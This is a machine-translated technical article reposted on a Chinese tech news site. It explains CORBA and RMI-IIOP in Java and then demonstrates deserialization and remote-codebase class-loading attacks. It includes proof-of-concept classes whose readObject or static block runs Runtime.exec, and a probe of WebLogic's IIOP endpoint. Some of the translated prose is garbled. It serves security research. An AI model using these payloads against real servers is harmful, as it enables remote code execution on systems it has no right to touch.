Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to understand RMI-IIOP in Java

2025-03-29 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/01 Report--

This article shows you how to understand RMI-IIOP in Java, which is concise and easy to understand. It will definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.

Environment description

The test code in this article is put on github.

The JDK version of the test code will be specified in the article. Some code will be reused, and the corresponding JDK version needs to be switched.

RMI-IIOP

Before reading the following, you can read the following links to make an impression on some basic concepts: https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]

Https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]

Https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]

Java IDL is a technology for distributed objects, that is, objects interact on different platforms on the network. Java IDL enables objects to interact with each other, regardless of whether they are written in the Java programming language or Cpene C + +, COBOL, or other languages. This is possible because Java IDL is based on the Common object request broker Architecture (CORBA), the industry-standard distributed object model. The main function of CORBA is IDL, a language-independent interface definition language. Each language that supports CORBA has its own IDL mapping-as the name implies, Java IDL supports Java mapping. To support interaction between objects in a separate program, Java IDL provides an object request broker or ORB (Object Request Broker). ORB is a class library that allows low-level communication between Java IDL applications and other CORBA-compliant applications.

CORBA,Common ObjectRequest Broker Architecture (Common object request broker Architecture) is a standard object-oriented application architecture specification developed by OMG. CORBA uses the Interface definition language (IDL) to specify the interface that the object provides to the outside. CORBA then specifies the mapping from IDL to a specific implementation language, such as Java. The CORBA specification specifies that there should be an object request broker (ORB) that interacts with other objects through the object application. The Universal InterORB Protocol (GIOP) digest protocol was created to allow communication between ORB and provides several specific protocols, including the Internet InterORB protocol (IIOP), which is an implementation of GIOP, can be used in Internet, and provides mapping between GIOP messages and TCP/IP layers.

IIOP,Internet Inter-ORB Protocol (Internet Internal object request Agent Protocol), a protocol for CORBA 2.0 and compatible platforms; a protocol for communicating between CORBA object request agents. A protocol in Java that enables programs to interoperate with CORBA in other languages.

Before the emergence of RMI-IIOP, there were only two choices for distributed programming: RMI and CORBA, and there was no cooperation between them. RMI-IIOP integrates the advantages of RMI and CORBA, overcomes their shortcomings, and makes it more convenient for programmers to write distributed programming and realize distributed computing. RMI-IIOP combines the simplicity of RMI and the multilingual compatibility of CORBA. RMI-IIOP overcomes the disadvantage that RMI can only be used in Java and the complexity of CORBA (you don't have to master IDL).

CORBA-IIOP remote call

The remote invocation model between the CORBA client and the server is as follows:

On the client side, the application contains a reference to the remote object, the object reference has a stub method, and the stub method is a stand-in for calling that method remotely. The stub is actually connected to the ORB, so calling it invokes ORB's connection function, which forwards the call to the server.

On the server side, ORB uses framework code to convert remote calls into method calls to local objects. The framework converts the call and any parameters to its implementation-specific format and invokes the method that the client wants to call. When the method returns, the framework code converts the result or error and sends it back to the client through ORB.

Between ORB, communication is carried out through the sharing protocol IIOP. IIOP based on the standard TCP/IP Internet protocol defines how CORBA-compliant ORB passes information back and forth.

Write a Java CORBA IIOP remote call step:

Define a remote interface using idl

Compile idl with idlj, mapping idl to Java, which generates Java version classes of the interface and class code files for stubs and skeletons that allow applications to hook up to ORB. These class files are used in client-side and server-side code for remote calls.

Write server code

Write client code

Start naming service-> server-> client

All right, feel it with the code (github found a ready-made code that can be used directly, but made some changes):

Step 1 and step 2 the author has generated it for us, and the generated code is in the EchoApp directory.

Server:

/ / Server package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper Public class Server {public static void main (String [] args) {if (args.length = = 0) {args = new String [4]; args [0] = "- ORBInitialPort"; args [1] = "1050"; args [2] = "- ORBInitialHost"; args [3] = "localhost" } try {/ / create and initialize ORB ORB orb = ORB.init (args, null); / / get a reference to the root POA and activate POAManager POA rootpoa = POAHelper.narrow (orb.resolve_initial_references ("RootPOA")); rootpoa.the_POAManager (). Activate (); / / create servant EchoImpl echoImpl = new EchoImpl () / / get the object reference org.omg.CORBA.Object ref = rootpoa.servant_to_reference (echoImpl) associated with servant; Echo echoRef = EchoHelper.narrow (ref); / / define the string "NameService" for all CORBA ORB. When the string is passed, ORB returns a naming context object, which is the object reference of the name service org.omg.CORBA.Object objRef = orb.resolve_initial_references ("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow (objRef); NameComponent path [] = ncRef.to_name ("ECHO-SERVER"); ncRef.rebind (path, echoRef) System.out.println ("Server ready and waiting..."); / / wait for the client to call orb.run ();} catch (Exception ex) {ex.printStackTrace ();}

Client:

/ / client package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client {public static void main (String [] args) {if (args.length = = 0) {args = new String [4]; args [0] = "- ORBInitialPort" Args [1] = "1050"; args [2] = "- ORBInitialHost"; args [3] = "localhost";} try {/ / create and initialize ORB ORB orb = ORB.init (args, null); org.omg.CORBA.Object objRef = orb.resolve_initial_references ("NameService") NamingContextExt ncRef = NamingContextExtHelper.narrow (objRef); Echo href = EchoHelper.narrow (ncRef.resolve_str ("ECHO-SERVER")); String hello = href.echoString (); System.out.println (hello);} catch (Exception ex) {ex.printStackTrace ();} / / query client package com.longofo.corba.example using Jndi Import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient {/ * lists all remote object names * / public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory" Public static void main (String [] args) throws NamingException, IOException, ClassNotFoundException {InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:1050"); / / list all remote object names System.out.println (JSON.toJSONString (listAllEntries (initialContext), true); System.out.println ("- call remote method-") Echo echoRef = EchoHelper.narrow ((org.omg.CORBA.Object) initialContext.lookup ("ECHO-SERVER")); System.out.println (echoRef.echoString ());} private static Map listAllEntries (Context initialContext) throws NamingException {String namespace = initialContext instanceof InitialContext? InitialContext.getNameInNamespace (): "; HashMap map = new HashMap (); System.out.println (" > Listing namespace: "+ namespace); NamingEnumeration list = initialContext.list (namespace); while (list.hasMoreElements ()) {NameClassPair next = list.next (); String name = next.getName (); String jndiPath = namespace + name; HashMap lookup = new HashMap () Try {System.out.println ("> Looking up name:" + jndiPath); Object tmp = initialContext.lookup (jndiPath); if (tmp instanceof Context) {lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass (). GetInterfaces ()) Map entries = listAllEntries ((Context) tmp); for (Map.Entry entry: entries.entrySet ()) {String key = entry.getKey (); if (key! = null) {lookup.put (key, entries.get (key)); break } else {lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass () .getInterfaces ()) } catch (Throwable t) {lookup.put ("error msg", t.toString ()); Object tmp = initialContext.lookup (jndiPath); lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass (). GetInterfaces ()) } map.put (name, lookup);} return map;} private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

The client uses two ways, one is COSNaming query, the other is Jndi query, both of which pass the jdk1.8.0_181 test.

First, start a naming server (which can be understood as rmi's registry) and start it with ordb as follows. Orbd comes with it by default (if you have a jdk environment):

Then start the server corba-iiop/src/main/java/com/longofo/example/Server.java, and then start corba-iiop/src/main/java/com/longofo/example/Client.java or JndiClient.java.

Here's a look at the results of JndiClient:

> Listing namespace: > Looking up name: ECHO-SERVER {"ECHO-SERVER": {"interfaces": [], "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl"}}-call remote method-Hello Worldworkers!

Notice that the class does not get the corresponding Stub class of the original EchoImpl class, and we have used this list query in the rmi test before, when we can query the corresponding stub class name of the remote object. This may be due to the implementation mechanism of Corba. Com.sun.corba.se.impl.corba.CORBAObjectImpl is a generic Corba object class, and the above narrow call EchoHelper.narrow is a way to narrow the object into an Echo Stub object before calling the echoString method, and each call to a remote object uses its corresponding xxxHelper.

The following is the communication package between Corba client and server:

The first and second packages are the packages for the client to communicate with the ordb, followed by the packets for the client to communicate with the server. You can see that the IOR (Interoperable Object Reference) of the second packet contains the ip, port and other information of the server, which means that the client first obtains the information of the server from the ordb, and then communicates with the server. At the same time, there is no ac ed 00 05 flag in this data, but the deserialized data is actually wrapped, which is illustrated in an example later in RMI-IIOP.

Several key fields of IOR:

Type ID: interface type, also known as repository ID format. In essence, the repository ID is the unique identifier of the interface. For example, the IDL:omg.org/CosNaming/NamingContext:1.0 above

IIOP version: describes the version of IIOP implemented by ORB

Host: the TCP/IP address that identifies the ORB host

Port: specifies the TCP/IP port number on which ORB listens for client requests

Object Key: uniquely identifies the servant exported by ORB

Components: a sequence of additional information applicable to object methods, such as supported ORB services and proprietary protocol support, etc.

Codebase: used to get the remote location of the stub class. By controlling this attribute, the attacker will control the class that decodes the IOR reference in the server, as we can see in later use.

Using only Corba for remote calls is troublesome, writing IDL files, and then manually generating the corresponding class files, along with some other limitations, leads to RMI-IIOP, which combines the advantages of Corba and RMI.

RMI-IIOP remote call

Write a RMI IIOP remote call step:

Define a remote interface class

Write implementation classes

Writing server

Write a client

Compile the code and generate the corresponding usage classes for the server and the client

A malicious demo scenario is given directly below.

Server:

Package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main (String [] args) {try {/ / instantiate Hello servant HelloImpl helloRef = new HelloImpl () / use JNDI to publish references InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:1050"); initialContext.rebind ("HelloService", helloRef); System.out.println ("Hello Server Ready..."); Thread.currentThread (). Join ();} catch (Exception ex) {ex.printStackTrace () } private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

Client:

Package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient {public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main (String [] args) {try {InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:1050") / / get the reference Object objRef = initialContext.lookup ("HelloService") from the naming service; / / the narrow reference is a specific object HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow (objRef, HelloInterface.class); EvilMessage message = new EvilMessage (); message.setMsg ("Client call method sayHello..."); hello.sayHello (message) } catch (Exception ex) {ex.printStackTrace ();}} private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

Suppose there is a maliciously exploited class called EvilMessage on the server side, write a class with the same package name and the same class name on the client side, and inherit the Message class in the HelloInterface.sayHello (Message msg) method:

Package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message {private void readObject (ObjectInputStream s) {try {s.defaultReadObject (); Runtime.getRuntime () .exec ("calc");} catch (Exception ex) {ex.printStackTrace ();}

First compile the above code, and then generate a proxy class for remote calls between the server and the client:

Rmic-iiop com.longofo.example.HelloImpl

When the execution is complete, two classes are generated below (Tie for the server and Stub for the client):

Start a naming server:

Orbd-ORBInitialPort 1050-ORBInitialHost loaclhost

Start the server-side rmi-iiop/src/main/java/com/longofo/example/HelloServer.java, and then start the client-side rmi-iiop/src/main/java/com/longofo/example/HelloClient.java to see the calculator pop up, which passed the test in JDK 1.8.1-181.

The server call stack is as follows:

Pay attention to that _ HelloImpl_Tie.read_value, which was mentioned in the 1919 BlackHat topic "An-Far-Sides-Of-Java-Remote-Protocols" [1]. If you look directly at the content of RMI-IIOP in that pdf, you may look confused, because there is no such pre-information in the topic, and with the above information, it may be easier to look at the content of that topic. Through the call stack, we can also see that some data in the IIOP communication is restored to CDRInputStream, which is a subclass of InputStream, and the wrapped data is here in the following Stub data:

Finally, the readObject of EvilMessage is called through reflection, which is actually a little clearer to see here. But the truth may be a little cruel, otherwise why RMI-IIOP vulnerabilities are rarely seen, take a look at the following Weblogic RMI-IIOP to feel.

RMI-IIOP in Weblogic

Weblogic enables the iiop protocol by default. If this is the case, it is very likely that the communication data and the above call process will not pass through the blacklist of Weblogic.

Test it directly with the code (using the JDK 1.6.0 / 29 test that comes with Weblogic):

Import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop {public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory" Public static void main (String [] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:7001"); System.out.println (JSON.toJSONString (listAllEntries (initialContext), true)); Object objRef = initialContext.lookup ("ejb/mgmt/MEJB"); ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow (objRef, ManagementHome.class); managementHome.remove (new Object ()) / / this is just to test whether the remove method can be called successfully. If it can be successfully called, Object maliciously uses} private static Map listAllEntries (Context initialContext) throws NamingException {String namespace = initialContext instanceof InitialContext in the way RMI-IIOP above? InitialContext.getNameInNamespace (): "; HashMap map = new HashMap (); System.out.println (" > Listing namespace: "+ namespace); NamingEnumeration list = initialContext.list (namespace); while (list.hasMoreElements ()) {NameClassPair next = list.next (); String name = next.getName (); String jndiPath = namespace + name; HashMap lookup = new HashMap () Try {System.out.println ("> Looking up name:" + jndiPath); Object tmp = initialContext.lookup (jndiPath); if (tmp instanceof Context) {lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass (). GetInterfaces ()) Map entries = listAllEntries ((Context) tmp); for (Map.Entry entry: entries.entrySet ()) {String key = entry.getKey (); if (key! = null) {lookup.put (key, entries.get (key)); break } else {lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass () .getInterfaces ()) } catch (Throwable t) {lookup.put ("error msg", t.toString ()); Object tmp = initialContext.lookup (jndiPath); lookup.put ("class", tmp.getClass ()); lookup.put ("interfaces", tmp.getClass (). GetInterfaces ()) } map.put (name, lookup);} return map;} private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

The list query results are as follows:

> Listing namespace: > Looking up name: weblogic > Listing namespace: > Looking up name: ejb > Listing namespace: > Looking up name: mgmt > Listing namespace: > Looking up name: MEJB > Looking up name: javax > Listing namespace: > Looking up name: mejbmejb_jarMejb_EO {"ejb": {"mgmt": {"MEJB": {"interfaces": [] "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl"}, "interfaces": ["javax.naming.Context"], "class": "com.sun.jndi.cosnaming.CNCtx"}, "interfaces": ["javax.naming.Context"], "class": "com.sun.jndi.cosnaming.CNCtx"} "javax": {"error msg": "org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces": ["javax.naming.Context"], "class": "com.sun.jndi.cosnaming.CNCtx"}, "mejbmejb_jarMejb_EO": {"interfaces": [], "class": "com.sun.corba.se.impl.corba.CORBAObjectImpl"} "weblogic": {"error msg": "org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces": ["javax.naming.Context"], "class": "com.sun.jndi.cosnaming.CNCtx"}}

The names of these remote objects are the same as those queried through the default rmi:// protocol, except that class and interfaces are different.

But when it comes to managementHome.remove, it is wrong. ManagementHome is null. In the above RMI-IIOP test, the client needs to use the client's Stub class to call the remote. Look for the corresponding implementation class weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl of the next ejb/mgmt/MEJB. He has a Stub class of weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub, but this Stub class is generated for the default RMI JRMP mode. It does not generate client and server classes for IIOP calls, but is only bound with a name.

With some lookups, the Tie and Stub classes corresponding to each IIOP remote object have a feature:

According to this feature, there are indeed many of these client-side Stub classes that have been generated for IIOP calls in Weblogic, such as the _ MBeanHomeImpl_Stub class, which is the Stub class of the MBeanHomeImpl client:

A very embarrassing thing is that the implementation class that Weblogic binds the remote name by default does not implement the server class and client class for IIOP, but some classes that are not bound are implemented, so they are not available by default.

Just now the call failed. Let's take a look at the communication that was not successfully called:

After the COSNaming query package, the server returns the flag that type_ip is RMI:javax.management.j2ee.ManagementHome:0000000000000000

Then the next package continues with a _ is_a query:

The next package returns type_id not match:

It can be guessed that the server side did not generate the server and client classes corresponding to IIOP, and then the RMI:javax.management.j2ee.ManagementHome:0000000000000000 tag about was not found in the naming server, and the corresponding class was not found through search.

However, the above usage only complies with some Corba IIOP specifications in the code layer, and whether it can be constructed and utilized through replacement, modification and other operations in the protocol layer, the capacity is limited, and there is no in-depth study of IIOP communication process.

In the RMI-IIOP section of this year's topic, it shows how the read_any method is used in Websphere's interceptor class TxServerInterceptor, which is an interceptor from this name, so basically all requests go through here. Read_value is finally called here, just like the _ HelloImpl_Tie.read_value above, which can also be used here, as long as the target server has an available chain, the author also gives some utilization chains in Websphere. As you can see, not only are there malicious exploits in remote calls, but they may also exist in another way in other places, but the core of the method call chain remains the same. CDRInputStream and read_value, it may be tiring to find these features manually or may not even find them at all, so a large amount of code, but if there are all the method call chains, such as tools like GatgetInspector Preliminary analysis of this tool has been done before. This is the later plan, and the goal is to write your own control logic freely.

Utilization in JNDI

There are many ways to utilize JNDI, and RMI-IIOP is only a substitute for the default RMI utilization (transmitted through JRMP), which can be considered when the default RMI utilization is not available. But this approach will still be limited by SecurityManager.

In the RMI-IIOP test code, I put client and server together, and so did the Tie and Stub used by the client and server, which may be confused. Then let's take out the Client separately for testing and take a look at remote loading.

The server code still uses Server in RMI-IIOP, but adds a codebase:

Package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main (String [] args) {try {System.setProperty ("java.rmi.server.codebase", "http://127.0.0.1:8000/");") / / instantiate Hello servant HelloImpl helloRef = new HelloImpl (); / / publish references InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:1050") in naming service using JNDI; initialContext.rebind ("HelloService", helloRef); System.out.println ("Hello Server Ready..."); Thread.currentThread () .join () } catch (Exception ex) {ex.printStackTrace ();}} private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

The Client code is in the newly created rmi-iiop-test-client module, so that the modules will not be affected. The Client code is as follows:

Package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient {public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main (String [] args) {try {System.setProperty ("java.security.policy", HelloClient.class.getClassLoader () .getResource ("java.policy") .getFile ()) RMISecurityManager securityManager = new RMISecurityManager (); System.setSecurityManager (securityManager); InitialContext initialContext = getInitialContext ("iiop://127.0.0.1:1050"); / / get reference initialContext.lookup ("HelloService") from naming service;} catch (Exception ex) {ex.printStackTrace () } private static InitialContext getInitialContext (String url) throws NamingException {Hashtable env = new Hashtable (); env.put (Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put (Context.PROVIDER_URL, url); return new InitialContext (env);}}

Then I added a com.longofo.example._HelloInterface_Stub to the remote-class module:

Package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _ HelloInterface_Stub {static {/ / since the exception cannot be thrown directly in the static code block, but there are other ways to take out the data, you can find it yourself. It is not written in the constructor because there are some ways in the project that do not call the construction parameters, so the square is written directly in the static code block try {exec ("calc");} catch (Exception e) {e.printStackTrace ();}} public static void exec (String cmd) throws Exception {String sb = "" BufferedInputStream in = new BufferedInputStream (Runtime.getRuntime (). Exec (cmd). GetInputStream ()); BufferedReader inBr = new BufferedReader (new InputStreamReader (in)); String lineStr; while ((lineStr = inBr.readLine ())! = null) sb + = lineStr + "\ n"; inBr.close (); in.close (); throw new Exception (sb);}}

Start the remote class service remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java, start rmi-iiop/src/main/java/com/longofo/example/HelloServer.java, and then run the client rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java to pop up the calculator. The test passed in JDK 1.8.0 / 181.

As for why the remote call was made, it will be understood at the next breakpoint in CDRInputStream_1_0.read_object, and then the trace will understand, and finally take advantage of the remote loading feature of rmi:

Unfortunately, I didn't successfully use RMI-IIOP in Weblogic. Write it here to provide some ideas, and if you have any other discoveries and ideas about RMI-IIOP, remember to share them. I don't know if you have any real cases about RMI-IIOP.

The above is how to understand RMI-IIOP in Java. Have you learned any knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report